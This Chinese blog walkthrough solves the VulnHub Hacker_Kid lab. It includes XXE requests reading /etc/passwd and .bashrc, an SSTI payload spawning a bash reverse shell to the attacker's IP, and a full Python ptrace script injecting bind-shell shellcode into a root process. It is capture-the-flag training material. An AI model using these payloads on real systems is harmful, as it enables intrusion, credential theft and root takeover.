VnlnHub Hacker_Kid-v1.0.1

靶场下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

0.靶机配置

攻击机kali:192.168.5.57

靶机ubuntu:192.168.5.72

将下载下来的靶机文件Hacker_Kid-v1.0.1.ova导入到vm中

开启靶机

1.信息收集

主机发现

arp-scan -l

发现靶机ip为192.168.5.72

2.端口扫描

nmap -p 1-65535 -A 192.168.5.72

发现开放了53端口,存在DNS服务

开放了80端口,存在HTTP服务,且中间件为Apache 2.4.41

开放了9999端口,存在HTTP服务,且中间件为Tornado 6.1

通常情况下DNS是TCP53端口是用于同一个域两台域名服务器之间做数据交换

而日常上网查询DNS解析是通过UDP53端口

我们只扫描TCP的端口,尝试扫描UDP53端口,发现确实是UDP53端口是开放的

3.WEB信息收集

访问目标的9999端口

http://192.168.5.72:9999

对该网址进行访问

http://192.168.5.72/

提示要使用dig命令发现一些线索

访问http://192.168.5.72/app.html   

但是没有有用信息

各个标签点击后并无响应请求,右键查看源代码看到有注释的信息。

4.参数爆破


view-source:http://192.168.5.72/

访问改页面源代码

之后挨个查看源码,看信息,发下了一个注释:使用参数page_no,这里参数很像一个页面的页码,我们尝试在后面加上page_no这个参数,发现出现了一段提示说我们的方法是对的,我们用BP爆破出他的数值到底是多少。。burp选择Numbers模块就行。值是21.

修改参数发包,然后使用bp中的intruder模块进行爆破

因为是页号,所以这里肯定是数字,所以payload我们指定未1-1000的所有整数

发现参数为21时页面与其他不同

访问查看

页面下面多了一行红色小字,提示有子域名存在后门漏洞,例如 hackers.blackhat.local 。那就先添加下本地域名解析。

编辑/etc/hosts文件


vi /etc/hosts
#添加内容如下
192.168.5.72 blackhat.local
192.168.5.72 hackers.blackhat.local

5.DNS区域传输

访问 一下hackers.blackhat.local

页面空白

访问另外一个也是空白页面

这就让我们感到奇怪。同时也让我们猜测是否这个域名是否有其他的主机名?再结合我们开头的 dig提示。我们就使用dig命令来进行探测。然后将我们探测到的域写入到hosts文件中依次的访问。

dig axfr @192.168.5.72 blackhat.local

依次访问这些页面发现了不一样的界面

查看一下9999端口,发现一个登录界面

于是在hackerkid.blackhat.local页面进行抓包测试

发现我们输入的这些信息都是通过XML数据来发送,所以我们就猜测这里可能存在XXE漏洞,进行漏洞探测

修改请求包 ,加入  xxe 攻击代码

POST /process.php HTTP/1.1

Host: hackerkid.blackhat.local

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain;charset=UTF-8

Content-Length: 248

Origin: http://hackerkid.blackhat.local

Connection: close

Referer: http://hackerkid.blackhat.local/



<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

  <name>

    123

  </name>

  <tel>

    123

  </tel>

  <email>

    &xxe;

  </email>

  <password>

    123

  </password>

</root>

成功得到saket账号

使用 php封装器 base64编码,读取/home/saket/.bashrc文件

POST /process.php HTTP/1.1

Host: hackerkid.blackhat.local

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain;charset=UTF-8

Content-Length: 239

Origin: http://hackerkid.blackhat.local

Connection: close

Referer: http://hackerkid.blackhat.local/



<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc" >]>

<root><name>123</name><tel>123</tel>

<email>

&xxe;

</email><password>123</password></root>

得到base64编码文件解码

得到账号密码    

admin  Saket!#$%@!!

6.SSTI模板注入

尝试使用admin Saket!#$%@!!登录,发现失败

于是使用saket用户进行登录,发现登陆成功

存在name参数

尝试模板注入,发现确实存在模板注入(ssti漏洞)   ,表达式计算成功

在构造其他payload:

name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.5.72/4444 0>&1"')}}

发现报错,需要进行ascii编码赋值

{%25%20import%20os%20%25}{{os.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.5.57%2f4444%200%3E%261%22%27)}}

访问这个payload,同时kali进行监听4444端口

nc -lvnp 4444

将下面这段编码后命令带入表达式(特殊符号要经过编码才能执行成功)

192.168.5.72:9999/?name={%25%20import%20os%20%25}{{os.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.5.57%2f4444%200%3E%261%22%27)}}

成功获得shell

7.Capabilitie提权

python3 -c 'import pty;pty.spawn("/bin/bash")'   //升级终端

/sbin/getcap -r / 2>/dev/null #递归查询

我们发现 python2.7是有个 cap_sys_ptrace这个权限(可以调试程序权限),而这个权限是有提权的可能的一个权限。

所以我们就直接来看系统已经运行的有 root权限的程序有哪些。然后通过python2.7来进行利用漏洞来提取

ps -aef | grep root

随便选一个以root账号运行的进程,我们选用pid为737的这个进程

提权代码,将代码在kali保存到文件中

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

上传到靶机

python2.7 inject.py 737

注入这个进程(如果连接不成功可以换用其他的进程注入)

注入成功后,会默认开启5600端口

netstat -ano | grep 5600

然后我们在kali上连接这个5600端口,成功获得root权限shell

nc 192.168.5.72 5600
id

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

廾匸0705

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值